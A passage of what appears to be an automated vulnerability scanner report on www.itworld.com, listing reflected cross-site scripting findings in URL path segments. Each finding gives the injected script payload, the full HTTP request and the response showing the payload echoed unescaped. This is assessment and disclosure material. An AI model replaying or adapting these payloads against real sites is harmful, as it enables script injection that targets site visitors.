GET /sites/all/modules/itw4f50e"-alert(1)-"b76f84f26e6/modules/lyris/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:24 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460384"
Content-Type: text/html; charset=utf-8
Content-Length: 57550
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:28 GMT
X-Varnish: 1038162141
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw4f50e"-alert(1)-"b76f84f26e6/modules/lyris/js/jquery.bgiframe.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the pa
...[SNIP]...

1.446. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9cb31"><script>alert(1)</script>1245a65b33d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw9cb31"><script>alert(1)</script>1245a65b33d/modules/lyris/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460371"
Content-Type: text/html; charset=utf-8
Content-Length: 57768
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:17 GMT
X-Varnish: 1038161772
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw9cb31"><script>alert(1)</script>1245a65b33d/modules/lyris/js/jquery.bgiframe.js?h"/>
...[SNIP]...

1.447. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 44c26"-alert(1)-"fcb175099f7 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules44c26"-alert(1)-"fcb175099f7/lyris/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460406"
Content-Type: text/html; charset=utf-8
Content-Length: 57549
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:51 GMT
X-Varnish: 1038162613
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules44c26"-alert(1)-"fcb175099f7/lyris/js/jquery.bgiframe.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you r
...[SNIP]...

1.448. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7338e"><script>alert(1)</script>3f746bcb6d1 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules7338e"><script>alert(1)</script>3f746bcb6d1/lyris/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:41 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460401"
Content-Type: text/html; charset=utf-8
Content-Length: 57768
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:42 GMT
X-Varnish: 1038162516
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules7338e"><script>alert(1)</script>3f746bcb6d1/lyris/js/jquery.bgiframe.js?h"/>
...[SNIP]...

1.449. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9a032"><script>alert(1)</script>431bc12d1e9 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/lyris9a032"><script>alert(1)</script>431bc12d1e9/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:00 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460420"
Content-Type: text/html; charset=utf-8
Content-Length: 57768
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:04 GMT
X-Varnish: 1038163202
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/lyris9a032"><script>alert(1)</script>431bc12d1e9/js/jquery.bgiframe.js?h"/>
...[SNIP]...

1.450. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4275f"-alert(1)-"2ab23cc009b was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris4275f"-alert(1)-"2ab23cc009b/js/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460431"
Content-Type: text/html; charset=utf-8
Content-Length: 57549
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:11 GMT
X-Varnish: 1038163519
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris4275f"-alert(1)-"2ab23cc009b/js/jquery.bgiframe.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you request
...[SNIP]...

1.451. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ed120"><script>alert(1)</script>be39036856 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/lyris/jsed120"><script>alert(1)</script>be39036856/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:34 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460454"
Content-Type: text/html; charset=utf-8
Content-Length: 57759
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:35 GMT
X-Varnish: 1038164254
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/lyris/jsed120"><script>alert(1)</script>be39036856/jquery.bgiframe.js?h"/>
...[SNIP]...

1.452. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 7] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ae50"-alert(1)-"66aa102b746 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris/js8ae50"-alert(1)-"66aa102b746/jquery.bgiframe.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:46 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460466"
Content-Type: text/html; charset=utf-8
Content-Length: 57542
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:49 GMT
X-Varnish: 1038164495
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris/js8ae50"-alert(1)-"66aa102b746/jquery.bgiframe.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.453. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload efb37"-alert(1)-"d7f32299035 was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.jsefb37"-alert(1)-"d7f32299035?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:28:03 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460483"
Content-Type: text/html; charset=utf-8
Content-Length: 57543
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:28:06 GMT
X-Varnish: 1038165182
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
6-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.jsefb37"-alert(1)-"d7f32299035";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.454. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js [REST URL parameter 8] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js

Issue detail

The value of REST URL parameter 8 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52432"><script>alert(1)</script>14c6589407a was submitted in the REST URL parameter 8. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js52432"><script>alert(1)</script>14c6589407a?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:27:56 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460476"
Content-Type: text/html; charset=utf-8
Content-Length: 57763
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:27:59 GMT
X-Varnish: 1038164866
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.bgiframe.js52432"><script>alert(1)</script>14c6589407a?h"/>
...[SNIP]...

1.455. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9719"><script>alert(1)</script>4aa78854e79 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/modulesa9719"><script>alert(1)</script>4aa78854e79/itw/modules/lyris/js/jquery.delegate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:25 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460145"
Content-Type: text/html; charset=utf-8
Content-Length: 57764
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:31 GMT
X-Varnish: 252446265
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/modulesa9719"><script>alert(1)</script>4aa78854e79/itw/modules/lyris/js/jquery.delegate.js?h"/>
...[SNIP]...

1.456. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a69ce"-alert(1)-"3fb23453eb2 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modulesa69ce"-alert(1)-"3fb23453eb2/itw/modules/lyris/js/jquery.delegate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:07 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460187"
Content-Type: text/html; charset=utf-8
Content-Length: 57550
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:30 GMT
X-Varnish: 252446915
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
S";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/modulesa69ce"-alert(1)-"3fb23453eb2/itw/modules/lyris/js/jquery.delegate.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find th
...[SNIP]...

1.457. http://www.itworld.com/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/modules/itw/modules/lyris/js/jquery.delegate.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2883a"-alert(1)-"e3f24b3504d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/modules/itw/modules2883a"-alert(1)-"e3f24b3504d/lyris/js/jquery.delegate.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

